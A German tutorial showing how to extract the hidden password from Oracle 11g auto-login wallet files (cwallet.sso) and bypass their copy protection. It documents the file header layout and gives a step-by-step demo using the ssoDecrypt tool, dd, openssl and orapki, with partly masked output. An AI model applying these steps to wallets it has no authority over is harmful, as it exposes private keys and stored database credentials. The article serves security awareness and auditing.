Oracle Wallets hacken

Oracle Wallets werden benutzt, um SSL Zertifikate, die dazugehörigen Schlüssel, aber auch Klartext-Passwörter (Secure Enterprise Password Store) abzulegen. Sie werden normalerweise durch ein Wallet-Passwort geschützt, das bei jedem Öffnen oder Auslesen eingegeben werden muß.

Um auch automatisiert mit Wallets arbeiten zu können, gibt es die Auto-Login-Funktion. Wird diese aktiviert, wird eine zusätzliche Datei im Wallet erzeugt, die sogenannte Single Sign On Datei (.sso). Diese ist ebenfalls verschlüsselt, aber nicht mit einem benutzerdefinierten Passwort, sondern mit einem Standard-Passwort. Auto-Login-Wallets werden in der Regel verwendet, um eine automatisierte Anmeldung an der Datenbank durchführen zu können, ohne dass ein Passwort im Klartext in Skripten, Konfigurationsdateien oder Umgebungsvariablen abgelegt werden muss.

Damit es nicht möglich ist, ein Wallet einfach zu kopieren und von einem anderen Rechner aus zu verwenden, gibt es die Auto-Login-Local-Funktion. Wird diese für ein Wallet eingestellt, so kann das Auto Login Wallet nur auf dem Rechner verwendet werden, auf dem es erzeugt wurde.

Leider hat die Auto Login Funktion den Nachteil, das das Passwort, mit dem die SSO-Datei verschlüsselt ist, ja irgendwo herkommen muss. Entweder ist es immer gleich, oder…. es ist irgendwo in den Wallet-Dateien versteckt.

Tatsächlich ist es einfach im Header der cwallet.sso-Datei selbst abgelegt:

0x00 - 0x4C     Header:
    0x00 - 0x02     First 3 bytes are always A1 F8 4E (wallet recognition?)
    0x03            Type = SSO: 36; LSSO: 38
    0x04 - 0x06     00 00 00
    0x07            Version (10g: 05; 11g:  06)
    0x08 - 0x0A     00 00 00
    0x0B - 0x0C     11g: always the same (41 35)
    0x0D - 0x1C     DES key
    0x1D - 0x4C     DES secret (DES -> CBC -> PKCS7 padding) which contains the PKCS#12 password
    0x4D - EOF      PKCS#12 data (ASN.1 block)

Das Auslesen des internen Schlüssels eines Oracle AutoLogin Wallets ist mit einfachen Mitteln möglich, beispielsweise mit dem Tool ssoDecrypt. Danach kann ein neues, vollständiges Wallet (.p12-Datei) erzeugt und mit dem erhaltenen Schlüssel geöffnet werden. Auch der Kopierschutz ist nun nicht mehr wirksam.

Demo

Vorraussetzungen

Installation

$ sudo cp local_policy.jar /usr/lib/jvm/java-8-oracle/jre/lib/security/
$ sudo cp US_export_policy.jar /usr/lib/jvm/java-8-oracle/jre/lib/security/
$ javac -cp .:libs/:libs/bcprov-jdk16-145.jar ssoDecryptor.java
$ vi ssoDecrypt.sh
#!/bin/sh
java -cp .:libs:libs/bcprov-jdk16-145.jar ssoDecryptor $@

Sind die Tools installiert, kann nun der Schlüssel ausgelesen werden:

$ ./ssoDecrypt.sh ../PX-Linux11/cwallet.sso 
sso key: c29XXXXXXXXXX96
sso secret: 71c61e1XXXXXXXXXX99c77d747fa0f53e79ccd170409964b
p12 password (hex): 1e482XXXXXXXXXX1f1f0b296f6178021c
--------------------------------------------------------
----------------------------------------------

In diesem Schritt vergeht keine messbare Zeit.

Erzeugen eines neuen Wallets

$ echo 1e482XXXXXXXXXX1f1f0b296f6178021c | xxd -p -r > cwallet.key
$ ls -lhrt
total 18K
-rwxr--r-- 1 akira friends 6,5K Nov 24 15:16 ewallet.p12
-rw------- 1 akira friends 6,5K Nov 24 15:16 cwallet.sso
-rw-r--r-- 1 akira friends 16 Nov 24 18:28 cwallet.key
$ dd if=cwallet.sso of=NewP12wallet.p12 bs=1 skip=77
6560+0 records in
6560+0 records out
6560 bytes (6,6 kB) copied, 0,0240742 s, 272 kB/s

Test der Gültigkeit

$ openssl pkcs12 -in NewP12wallet.p12 -nodes -passin file:cwallet.key 
MAC verified OK
Bag Attributes
 friendlyName: orakey
 localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 
Key Attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKabcdSlAgEAAoIBAQCk1c6DKFmmUz01
(...)
-----END CERTIFICATE-----
Bag Attributes
 friendlyName: orakey
 localKeyID: E6 B6 52 DD 00 00 00 04 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 
subject=/CN=ORCL11G
issuer=/C=DE/ST=Hamburg/O=px.corp/CN=PX.CORP-PROC01
-----BEGIN CERTIFICATE-----
MIIE6jCCAtKgAwIBAgICEAEwDQYJKoZabcdNAQELBQAwSjELMAkGA1UEBhMCREUx
(...)
-----END CERTIFICATE-----

Nun können wir uns bequem ein neues Passwort setzen:

$ orapki wallet change_pwd -wallet NewP12wallet.p12 -oldpwd `cat cwallet.key` -newpwd test1234
Oracle PKI Tool : Version 12.1.0.2
Copyright (c) 2004, 2014, Oracle and/or its affiliates. All rights reserved.

Und anschließend unser neues Wallet benutzen:

$ orapki wallet display -wallet NewP12wallet.p12
Oracle PKI Tool : Version 12.1.0.2
Copyright (c) 2004, 2014, Oracle and/or its affiliates. All rights reserved.
Enter wallet password: 
Requested Certificates: 
User Certificates:
Subject: CN=ORCL11G
Trusted Certificates: 
Subject: CN=PX.CORP-PROC01,O=px.corp,ST=Hamburg,C=DE
Subject: CN=PX.CORP-ROOT01,O=px.corp,ST=Hamburg,C=DE

Dieses Toolset funktioniert aktuell mit Oracle 11g Wallets.

Auto-Login-Local-Wallets funktionieren über einen String, der mit HMAC SHA1 gehashed wird, um das PKCS#12-Passwort zu erhalten. Der String besteht aus dem Benutzernamen und dem Servernamen des Rechners, auf dem das Wallet erstellt wurde.

Siehe auch